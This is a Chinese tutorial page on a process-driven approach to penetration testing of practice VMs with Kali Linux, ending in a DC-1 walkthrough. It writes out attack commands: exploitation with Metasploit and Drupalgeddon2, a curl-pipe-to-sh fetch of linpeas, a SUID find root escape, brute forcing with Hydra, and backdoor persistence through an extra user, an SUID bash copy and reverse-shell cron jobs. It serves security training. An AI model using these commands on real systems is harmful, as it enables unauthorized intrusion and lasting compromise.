当前位置：首页 > news >正文

从工具驱动到流程驱动：Kali Linux靶机渗透测试实战思维与核心流程详解

news 2026/6/30 19:36:44

1. 项目概述：从“会用”到“精通”的靶机渗透实战

每次看到有人问“Kali怎么用”、“靶机怎么打”，或者在网上找一些零散的教程，我就想起自己刚入门时那种迷茫。手里拿着一堆“神兵利器”，却不知道从哪里下手，对着一个靶机IP，除了扫端口、跑目录，下一步该做什么完全没头绪。这就是典型的“工具驱动”思维——你知道工具能做什么，但不知道在实战中何时、何地、为何要用它。今天，我想分享的，就是如何构建一套“流程驱动”的渗透测试思维，用一个更详细、更贴近真实渗透测试工程师工作流的视角，来操作Kali和靶机。这不仅仅是工具命令的堆砌，而是理解每个动作背后的意图、每个阶段的目标，以及如何根据目标的反馈动态调整策略。无论你是想复现DC-1、DC-5这样的经典靶机，还是挑战VulnHub上更复杂的机器，这套流程都能帮你理清思路，把渗透测试从一个“碰运气”的游戏，变成一场有章法的“外科手术”。

2. 渗透测试核心流程与阶段划分

渗透测试不是乱拳打死老师傅，它遵循一个相对标准化的生命周期。对于靶机环境，我们可以将其简化为一个更聚焦的五个阶段循环。这个循环不是线性的，而是一个根据侦察结果不断反馈、调整的迭代过程。

2.1 侦察与信息收集：一切行动的基础

这是最容易被新手忽视，却往往能决定成败的阶段。目标不是拿到shell，而是尽可能多地了解你的“对手”。信息收集分为被动和主动两种。

被动信息收集：在不与目标系统直接交互的情况下获取信息。对于靶机，这通常意味着研究靶机描述、作者提示、以及社区已有的Write-up（但建议先自己尝试）。在真实环境中，这可能包括搜索公开的代码仓库、员工领英信息、域名历史记录等。虽然靶机环境封闭，但养成这个思维习惯至关重要。

主动信息收集：直接与目标交互。这是我们在靶机渗透中的主要手段。

主机发现：确认目标存活。最常用的是ping，但在渗透测试中，我们经常需要绕过ICMP封锁。此时可以使用nmap的-Pn参数，它假定主机存活，直接进行端口扫描。

# 基本ping扫描 ping -c 4 192.168.1.100 # 使用nmap进行ARP扫描（同网段内非常快且可靠） nmap -sn 192.168.1.100/24 # 使用nmap，跳过主机发现，直接进行端口扫描 nmap -Pn 192.168.1.100

端口扫描与服务识别：这是信息收集的核心。不仅要找出开放端口，更要精确识别运行的服务及其版本。
```
# 快速扫描最常见的1000个端口 nmap -sV -sC -O 192.168.1.100 # 参数解释： # -sV: 版本探测 # -sC: 使用默认脚本进行扫描 # -O: 操作系统探测 # 全端口扫描，速度较慢但全面 nmap -p- -sV -sC 192.168.1.100 # 针对特定服务进行更深入的脚本扫描 nmap -p 80,443 --script http-enum,http-headers 192.168.1.100
```
实操心得：不要只满足于看到“80/tcp open http”。要仔细看-sV输出的具体版本，比如“Apache httpd 2.4.38 ((Debian))”。这个版本号就是后续漏洞搜索的关键。-sC运行的默认脚本有时能直接发现路径泄露、默认页面等有价值信息。
Web应用侦察：如果开放了80/443端口，重点就来了。
- 目录与文件枚举：使用gobuster或dirb。
```
# 使用常见字典枚举目录 gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt # 枚举特定扩展名的文件，如php, txt, bak等 gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak
```
- 子域名枚举（针对真实域名）：对于靶机，如果是虚拟主机，也可能有用。
- 技术栈识别：通过浏览器的开发者工具（Network、Console）、Wappalyzer浏览器插件或命令行工具whatweb来识别前端框架、后端语言、服务器、中间件等。
```
whatweb http://192.168.1.100
```

注意事项：信息收集阶段要细致并做好记录。我习惯用CherryTree或简单的文本文件，将IP、域名、开放端口、服务版本、发现的路径、可能的用户名（从页面、源码中收集）等信息全部记录下来。这是一个不断丰富的“目标档案”。

2.2 漏洞分析与利用：将信息转化为突破口

拿到详尽的信息后，就要开始分析哪里可能存在弱点。

漏洞匹配：将发现的服务和版本号，在漏洞数据库中进行搜索。
- 搜索sploit：Kali自带的强大漏洞库。
```
# 搜索Apache 2.4.38相关漏洞 searchsploit apache 2.4.38 # 搜索Drupal相关漏洞（DC系列靶机常用） searchsploit drupal
```
- 在线资源：NVD、Exploit-DB、CVE Details等网站。
漏洞验证与利用：找到可能的漏洞后，不要盲目运行利用代码。
- 阅读利用代码：理解其原理和利用条件。很多利用代码需要根据目标情况修改（如目标IP、端口、路径）。
- 使用Metasploit：对于集成度高的漏洞，Metasploit是首选。它提供了统一的接口，相对安全。
```
msfconsole # 进入Metasploit框架 search drupal # 搜索模块 use exploit/unix/webapp/drupal_drupalgeddon2 # 使用一个著名的Drupal漏洞模块 show options # 查看需要设置的参数 set RHOSTS 192.168.1.100 # 设置目标 set RPORT 80 # 设置端口 exploit # 执行利用
```
- 手动利用：对于简单的漏洞或为了加深理解，需要手动操作。例如，一个简单的SQL注入，可能需要你手动构造Payload，用curl发送请求，或者使用sqlmap。
```
# 使用sqlmap进行自动化SQL注入测试 sqlmap -u "http://192.168.1.100/page.php?id=1" --batch --dbs
```
突破点选择：通常，漏洞利用的目标是获取一个初始立足点，即一个反向shell或Webshell，让我们能在目标服务器上执行命令。

常见问题：为什么我的exploit运行不成功？原因可能很多：目标环境与漏洞要求的不完全一致（如补丁状态、配置差异）、网络问题（防火墙、出站限制）、Payload编码问题、或者依赖的库版本不对。这时需要回到信息收集阶段，确认信息的准确性，并尝试调整利用参数或寻找替代利用方式。

2.3 权限提升：从“用户”到“管理员”

拿到初始shell（往往是www-data或某个低权限用户）只是第一步。在Linux靶机中，我们的终极目标通常是root权限。

信息收集（内部）：在获得的shell中，首先进行内部侦察。
- 用户信息：id,whoami,cat /etc/passwd
- 系统信息：uname -a,cat /etc/os-release,lsb_release -a
- 网络信息：ifconfig,netstat -antp,ss -tulnp
- 进程信息：ps aux
- 计划任务：crontab -l,ls -la /etc/cron*
- SUID/GUID文件：find / -perm -u=s -type f 2>/dev/null
- 可写文件/目录：find / -writable -type d 2>/dev/null(注意区分用户)
- 敏感文件：历史命令(history)、配置文件、数据库文件、用户目录下的文件(/home/*)。

自动化脚本：使用像LinPEAS或LinEnum这样的脚本进行快速、全面的信息收集。你需要将脚本上传到目标机器执行。

# 在攻击机上启动HTTP服务 python3 -m http.server 8000 # 在目标shell中下载并执行（假设能访问攻击机IP） curl http://192.168.1.50:8000/linpeas.sh | sh # 或者 wget http://192.168.1.50:8000/linpeas.sh -O /tmp/linpeas.sh chmod +x /tmp/linpeas.sh /tmp/linpeas.sh

提权向量分析：根据收集的信息寻找提权路径。
- 内核漏洞：如果内核版本较旧，存在公开的提权exp。使用searchsploit搜索内核版本号。操作前务必在测试环境验证，因为可能造成系统崩溃。
- SUID/GUID滥用：找到具有SUID位的非常规程序。研究该程序的功能，看能否利用它读取敏感文件或执行命令。例如，find命令如果有SUID位，可以执行任意命令：find . -exec /bin/sh \; -quit。
- 环境变量劫持：如果程序以高权限运行但调用了未使用绝对路径的命令，可以通过控制PATH环境变量来劫持。
- 计划任务：检查是否有计划任务以root身份运行，且其脚本或目录当前用户可写。如果是，可以写入反向shell代码。
- 密码/密钥泄露：在配置文件、历史记录、备份文件中寻找root或其他高权限用户的密码或SSH私钥。
- 数据库提权：如果以数据库用户身份运行，可能利用数据库功能（如MySQL的UDF）执行系统命令。

实操心得：提权过程往往需要耐心和创造力。自动化脚本给出的通常是“线索”，你需要手动验证每一条线索。多看看GTFOBins这个网站，它整理了大量可用于提权的合法Linux二进制文件的使用方法。

2.4 后渗透与权限维持

拿到root权限后，工作并未结束。在真实的渗透测试中，你需要证明自己能够长期控制目标。

信息榨取：收集证明渗透成功的证据，以及具有商业价值的敏感数据。
- 标志（Flag）：靶机中通常设置的flag.txt或proof.txt。
- 敏感文件：/etc/shadow（密码哈希），/home目录下的用户文件，数据库文件等。
- 网络信息：进一步的内网侦察，为可能的横向移动做准备。
权限维持：创建后门，确保在连接断开或系统重启后仍能访问。
- 添加用户：useradd -m -s /bin/bash backdoor; passwd backdoor，并将其加入sudo组。
- SSH密钥植入：将你的公钥写入root或目标用户的~/.ssh/authorized_keys文件。
- 创建定时任务：在/etc/cron.hourly/等目录下创建定时反弹shell的脚本。
- SUID后门：复制/bin/bash并设置SUID位：cp /bin/bash /tmp/.bash; chmod 4755 /tmp/.bash，之后可以通过/tmp/.bash -p来获取root shell。
清理痕迹：在授权测试中，根据要求可能需要清理日志。常见日志位置：/var/log/auth.log,/var/log/syslog,~/.bash_history等。注意：未经授权的修改日志是违法行为，靶机练习中可选择性操作以学习方法。

2.5 报告与总结

这是将技术活动转化为商业价值的一步。对于练习，养成做笔记和总结的习惯至关重要。

记录每一步：用了什么命令，得到了什么输出，基于此做出了什么判断。
截图：关键步骤的截图是很好的证据。
整理攻击路径：用清晰的图表（可以在报告阶段用绘图工具画）展示从外网到获取root的完整路径。
漏洞说明：说明每个漏洞的原理、危害和修复建议。

3. 核心工具链深度使用解析

Kali自带数百个工具，但核心的只有十几个。这里深入几个最关键的。

3.1 Nmap：不仅仅是端口扫描

Nmap是侦察的瑞士军刀。除了基本的扫描，其NSE脚本引擎功能强大。

# 使用脚本进行漏洞扫描（谨慎使用，可能产生大量流量或被识别） nmap -p 80 --script vuln 192.168.1.100 # 对SMB服务进行深入枚举 nmap -p 445 --script smb-enum-shares,smb-enum-users 192.168.1.100 # 防火墙/IDS规避扫描（速度慢，但更隐蔽） nmap -sS -T2 --max-parallelism 1 --scan-delay 5s -Pn 192.168.1.100

注意事项：-A参数（全面扫描）虽然强大，但动静也大，在需要隐蔽的测试中慎用。先使用-sS（SYN半开扫描）快速扫端口，再对开放端口进行-sV和-sC扫描，是更常见的策略。

3.2 Metasploit Framework：一体化的利用平台

MSF的核心概念是模块（Modules）。

Exploit模块：利用漏洞的代码。
Payload模块：漏洞利用成功后，在目标系统上运行的代码（如反向shell）。
Auxiliary模块：辅助模块，用于扫描、嗅探、爆破等。
Post模块：后渗透模块，用于提权、信息收集、跳板等。

工作流示例：

msf6 > use exploit/multi/http/drupal_drupalgeddon2 # 选择利用模块 msf6 exploit(...) > set RHOSTS 192.168.1.100 # 设置参数 msf6 exploit(...) > set RPORT 80 msf6 exploit(...) > set TARGETURI /drupal # 如果Drupal不在根目录 msf6 exploit(...) > show payloads # 查看兼容的Payload msf6 exploit(...) > set payload linux/x64/meterpreter/reverse_tcp # 选择Payload msf6 exploit(...) > set LHOST 192.168.1.50 # 设置监听IP msf6 exploit(...) > set LPORT 4444 # 设置监听端口 msf6 exploit(...) > exploit # 执行

如果成功，你会进入meterpreter会话。meterpreter是一个高级的、功能丰富的后渗透shell，可以上传下载文件、抓取密码、拍照录屏等。

常见问题：meterpreter会话容易掉线。可以尝试使用bind_tcppayload（让目标监听端口，你去连接），或者在获得初始shell后，立即用更稳定的方法（如python反向shell）重连。

3.3 Burp Suite：Web应用测试的核心

Burp是一个拦截代理，所有浏览器流量都经过它，从而可以查看、修改请求和响应。

配置浏览器代理：通常设置为127.0.0.1:8080。
拦截与修改：在Proxy -> Intercept标签页，打开拦截，浏览器访问页面，请求会被暂停在Burp中。你可以修改任何参数（如ID、Cookie），然后Forward发送。
重放与扫描：将拦截到的请求发送到Repeater模块，可以反复修改和发送，用于手动测试SQL注入、XSS等。发送到Intruder模块，可以对特定位置进行暴力破解（如密码、验证码）。
主动扫描：将站点地图添加到Target，可以使用Scanner进行自动化的漏洞扫描（社区版功能有限）。

实操心得：对于HTTPS网站，需要在浏览器中安装Burp签发的CA证书，否则无法解密流量。Burp的Logger功能很好用，它能记录所有经过代理的请求，即使没有拦截，方便事后分析。

3.4 Hydra与Medusa：在线密码爆破利器

当发现登录入口时，如果存在弱密码，可以尝试爆破。

# 使用Hydra爆破HTTP表单登录 hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed" # 参数解释： # -l: 指定用户名 # -P: 指定密码字典 # http-post-form: 指定协议和表单参数 # “/login.php:...”: 这是核心部分。冒号分隔URL、POST数据、失败标识。 # F=Login failed: 表示响应中包含“Login failed”则认为失败。 # 爆破SSH密码 hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

注意事项：爆破会产生大量日志，极易触发账户锁定或警报。务必在授权范围内进行，并在靶机环境中确认规则允许。优先使用精简的、有针对性的字典，而不是直接上rockyou.txt这种巨型字典。

3.5 John the Ripper & Hashcat：离线密码破解

当你拿到了密码哈希文件（如/etc/shadow）后，就需要离线破解。

提取哈希：需要将/etc/shadow中的哈希与/etc/passwd结合，使用unshadow命令。
```
unshadow passwd_file shadow_file > hashes.txt
```
识别哈希类型：使用hash-identifier工具或hashcat --example-hashes来识别。

使用John破解：

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt john --show hashes.txt # 查看破解结果

使用Hashcat破解（通常更快，支持GPU）：

hashcat -m 1800 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt # -m 1800: 指定哈希类型为sha512crypt ($6$)，常见于Linux shadow文件 # -a 0: 字典攻击模式

4. 经典靶机实战流程示例：以DC-1为例

让我们把上述流程应用到一个具体靶机（如VulnHub上的DC-1）上，进行串联演示。假设靶机IP为192.168.1.100。

4.1 阶段一：全面侦察

主机发现与端口扫描：
```
nmap -sS -sV -sC -O -p- 192.168.1.100
```
假设我们发现开放了80/tcp (http)和22/tcp (ssh)。HTTP服务是Apache httpd，网站使用了DrupalCMS。
Web应用侦察：
- whatweb http://192.168.1.100确认Drupal版本。
- gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,txt扫描目录。
- 手动浏览网站，查看页面源码、robots.txt，发现可能有/admin、/user等路径。

4.2 阶段二：寻找突破点

漏洞搜索：searchsploit drupal 7。发现Drupal 7.x的Drupalgeddon 2漏洞（CVE-2018-7600）。
漏洞利用：
- 方法A：使用Metasploit
```
msfconsole use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.1.100 set RPORT 80 exploit
```
  成功获得一个www-data用户的shell。
- 方法B：手动利用（理解原理）可以使用公开的Python脚本，如drupalgeddon2.py，直接获取shell。
```
python3 drupalgeddon2.py -t http://192.168.1.100 -c 'id'
```

4.3 阶段三：权限提升

内部信息收集：在获得的shell中执行id，确认是www-data。上传或使用linpeas.sh进行自动化信息收集。
分析线索：LinPEAS可能高亮显示了一些有趣的文件，比如/var/www/目录下的配置文件settings.php。查看该文件：cat /var/www/sites/default/settings.php。实操心得：在Drupal中，settings.php文件里经常包含数据库连接凭证。
获取数据库凭证：从settings.php中找到类似$databases['default']['default']的数组，里面有username和password。
访问数据库：使用得到的密码，连接MySQL数据库。
```
mysql -udbuser -pdbpassword -D drupal
```
数据库提权或信息获取：在Drupal数据库中，用户密码哈希存储在users表里。我们可以尝试破解，或者更简单——直接修改admin用户的密码哈希。Drupal 7的密码哈希可以用php快速生成。
```
# 在攻击机上生成一个新的密码哈希（假设新密码为`hacked`） php -r "echo crypt('hacked', '\$S\$Cxxxxxxxx');" # 这里需要正确的盐值格式，更简单的方法是查Drupal的PHP代码生成。 # 实际上，在靶机shell里，如果有php，可以直接： cd /var/www php scripts/password-hash.sh hacked
```
然后到MySQL中更新users表的pass字段。更新后，就可以用新密码hacked登录Drupal后台了。
寻找提权向量：继续检查LinPEAS输出。可能会发现一个具有SUID权限的不常见二进制文件，或者一个以root身份运行的计划任务。在DC-1中，经典的提权路径是通过find命令的SUID位。
```
find / -perm -u=s -type f 2>/dev/null | grep -vE "/proc|/sys"
```
如果发现/usr/bin/find有SUID位，则可以直接提权：
```
find . -exec /bin/sh \; -quit
```
执行后，输入id，会发现变成了root。

4.4 阶段四：获取Flag与总结

寻找Flag：DC-1通常有多个flag。在/root、/home目录或其他隐蔽位置寻找flag*.txt文件，用cat查看。
总结报告：梳理攻击路径：Drupalgeddon 2 RCE -> 获取www-data shell -> 读取配置文件得数据库密码 -> 修改管理员哈希登录后台 / 或通过SUID find提权 -> 获得root权限 -> 读取最终flag。

5. 环境搭建与高效工作流建议

5.1 靶机环境搭建

虚拟机网络：建议使用“桥接”或“NAT网络”模式。桥接模式使靶机和Kali处于同一物理网络，像真实设备一样互访。NAT网络模式在VirtualBox或VMware中创建一个隔离的虚拟网络，更安全方便。
Kali维护：
- 更新源：编辑/etc/apt/sources.list，使用国内镜像源（如阿里云、清华源）以加速更新。
```
# 备份原文件 cp /etc/apt/sources.list /etc/apt/sources.list.bak # 编辑，替换为国内源 sed -i 's|http.kali.org|mirrors.aliyun.com/kali|g' /etc/apt/sources.list apt update && apt upgrade -y
```
- 工具更新：apt install kali-linux-headless可以安装更多工具，或使用apt install <工具名>单独安装。

5.2 高效工作习惯

目录管理：为每个靶机或项目创建一个独立的目录，存放扫描结果、利用代码、笔记和截图。
```
mkdir -p ~/靶机/DC-1/{scans,exploits,loot,notes}
```
笔记与文档：使用Obsidian、CherryTree或简单的Markdown文件实时记录。记录IP、命令、输出、思路变化。
Shell管理：使用tmux或screen来管理多个终端会话，防止网络不稳定导致shell丢失。
```
tmux new -s pentest # 新建会话 # Ctrl+b d 分离会话 tmux attach -t pentest # 重新连接
```
本地HTTP服务：经常需要将文件（如脚本、木马）传到靶机。用Python快速启服务：
```
python3 -m http.server 8000 # 靶机上下载 wget http://<你的Kali IP>:8000/linpeas.sh
```

渗透测试是一门需要大量实践和思考的技术。流程和工具是骨架，而你的好奇心和解决问题的能力才是血肉。每一次遇到“卡住”的情况，都是深入理解系统原理的绝佳机会。不要只满足于找到别人写的利用脚本并运行成功，要去读脚本的代码，理解它为什么能工作，尝试手动去复现。从信息收集到最终提权的每一步，都多问一个“为什么”和“还有什么方法”。随着你攻破的靶机越来越多，这套流程会内化成你的直觉，你会发现，面对一个新的目标时，你的思路会异常清晰。最后，请务必在合法授权的环境中进行所有测试，将你的技能用于建设性的安全防御。

查看全文

http://www.jsqmd.com/news/1097866/